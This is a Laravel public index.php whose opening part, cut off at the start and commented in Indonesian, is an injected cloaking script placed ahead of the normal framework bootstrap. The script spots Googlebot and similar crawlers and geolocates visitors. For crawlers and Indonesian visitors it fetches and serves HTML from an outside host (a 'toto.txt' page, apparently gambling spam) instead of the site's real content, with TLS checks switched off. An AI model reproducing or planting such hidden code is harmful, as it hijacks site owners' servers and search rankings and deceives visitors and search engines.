[ "Googlebot", "Googlebot-Image", "Googlebot-Video", "Googlebot-News", "Storebot-Google", "Google-InspectionTool", "GoogleOther", ], "target_countries" => ["ID"], "target_endpoints" => [ "//" => [ "r2" => "https://tbsentosabangunan.com/jaya-abadi/sentosa/toto.txt", "physical" => __DIR__ . "/index.real", ], ], // ✅ target_endpoints DITUTUP di sini "ip_cache_ttl" => 86400, "cache_directory" => __DIR__ . "/wp-content/uploads/cache_lp", ]; // ✅ $config DITUTUP di sini // ---------------------------------------------------------- // Helper: ambil IP client // ---------------------------------------------------------- $get_ip = function (): string { foreach (["HTTP_CF_CONNECTING_IP", "HTTP_X_FORWARDED_FOR", "HTTP_CLIENT_IP", "REMOTE_ADDR"] as $h) { if (!empty($_SERVER[$h])) { $ip = trim(explode(",", $_SERVER[$h])[0]); if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip; } } return "127.0.0.1"; }; // ---------------------------------------------------------- // Helper: fetch URL (curl / fallback file_get_contents) // ---------------------------------------------------------- $fetch = function (string $url, int $timeout = 15): ?string { if (!function_exists('curl_init')) { $ctx = stream_context_create(["http" => ["timeout" => $timeout]]); $d = @file_get_contents($url, false, $ctx); return $d === false ? null : $d; } $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => $timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => $_SERVER["HTTP_USER_AGENT"] ?? "Mozilla/5.0", ]); $data = curl_exec($ch); $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return ($data === false || $code >= 400) ? null : $data; }; // ---------------------------------------------------------- // Helper: kirim konten ke browser lalu EXIT // ---------------------------------------------------------- $serve = function (string $content): void { while (ob_get_level() > 0) ob_end_clean(); if (!headers_sent()) { header("Content-Type: text/html; charset=utf-8"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); } echo $content; exit(); }; // ---------------------------------------------------------- // Helper: kirim file fisik (return true jika berhasil) // TIDAK exit() — biar caller yang putuskan // ---------------------------------------------------------- $serve_file = function (?string $path): bool { if (empty($path) || !is_file($path) || !is_readable($path)) return false; while (ob_get_level() > 0) ob_end_clean(); if (!headers_sent()) { header("Content-Type: text/html; charset=utf-8"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); } readfile($path); return true; }; // ---------------------------------------------------------- // Normalisasi path // ---------------------------------------------------------- $uri = $_SERVER["REQUEST_URI"] ?? ""; $path = rtrim(explode('?', $uri)[0], '/'); if ($path === '') $path = '/'; // ---------------------------------------------------------- // Cari endpoint yang cocok // ---------------------------------------------------------- $endpoint = null; foreach ($config["target_endpoints"] as $p => $data) { $pc = rtrim($p, '/'); if ($pc === '') $pc = '/'; if ($path === $pc) { $endpoint = $data; break; } } if ($endpoint === null) { // bukan endpoint target → biarkan Laravel handle return; } // ---------------------------------------------------------- // Deteksi bot // ---------------------------------------------------------- $ua = strtolower($_SERVER["HTTP_USER_AGENT"] ?? ""); $pattern = '/' . implode('|', array_map('preg_quote', $config["bot_user_agents"])) . '/i'; $is_bot = (bool) preg_match($pattern, $ua); $should_cloak = $is_bot; // ---------------------------------------------------------- // Kalau bukan bot, cek geo // ---------------------------------------------------------- if (!$is_bot) { $ip = $get_ip(); $dir = rtrim($config["cache_directory"], "/\\") . "/ip"; if (!is_dir($dir)) { @mkdir($dir, 0777, true); } $cache_file = $dir . "/ip_" . md5($ip) . ".json"; $geo = ["country" => "UNKNOWN"]; if (is_file($cache_file) && (time() - filemtime($cache_file)) < $config["ip_cache_ttl"]) { $decoded = json_decode((string) file_get_contents($cache_file), true); if (is_array($decoded)) $geo = $decoded; } else { // Primary: api.country.is (HTTPS, tanpa rate-limit ketat) $res = $fetch("https://api.country.is/{$ip}", 5); $j = $res ? json_decode($res, true) : null; $geo["country"] = $j["country"] ?? "UNKNOWN"; // Fallback: ipapi.co kalau primary gagal if ($geo["country"] === "UNKNOWN") { $res2 = $fetch("https://ipapi.co/{$ip}/country/", 5); if ($res2 !== null) { $code = strtoupper(trim($res2)); if (strlen($code) === 2) $geo["country"] = $code; } } if ($geo["country"] !== "UNKNOWN" && is_dir($dir) && is_writable($dir)) { @file_put_contents($cache_file, json_encode($geo)); } } if (in_array($geo["country"], $config["target_countries"], true)) { $should_cloak = true; } } // ---------------------------------------------------------- // CLOAK: serve dari R2, fallback ke file fisik // ---------------------------------------------------------- if ($should_cloak) { $content = $fetch($endpoint["r2"], 20); if ($content !== null && strlen(trim($content)) > 100) { $serve($content); // exit() di dalam } if ($serve_file($endpoint["physical"] ?? null)) { exit(); } // R2 gagal & file fisik tidak ada → biarkan Laravel handle return; } // ---------------------------------------------------------- // NON-CLOAK: serve file fisik jika ada // ---------------------------------------------------------- if ($serve_file($endpoint["physical"] ?? null)) { exit(); } // file fisik tidak ada → biarkan Laravel handle })(); use Illuminate\Contracts\Http\Kernel; use Illuminate\Http\Request; define('LARAVEL_START', microtime(true)); /* |-------------------------------------------------------------------------- | Check If The Application Is Under Maintenance |-------------------------------------------------------------------------- | | If the application is in maintenance / demo mode via the "down" command | we will load this file so that any pre-rendered content can be shown | instead of starting the framework, which could cause an exception. | */ if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) { require $maintenance; } /* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | this application. We just need to utilize it! We'll simply require it | into the script here so we don't need to manually load our classes. | */ require __DIR__.'/../vendor/autoload.php'; /* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request using | the application's HTTP kernel. Then, we will send the response back | to this client's browser, allowing them to enjoy our application. | */ $app = require_once __DIR__.'/../bootstrap/app.php'; $kernel = $app->make(Kernel::class); $response = $kernel->handle( $request = Request::capture() )->send(); $kernel->terminate($request, $response);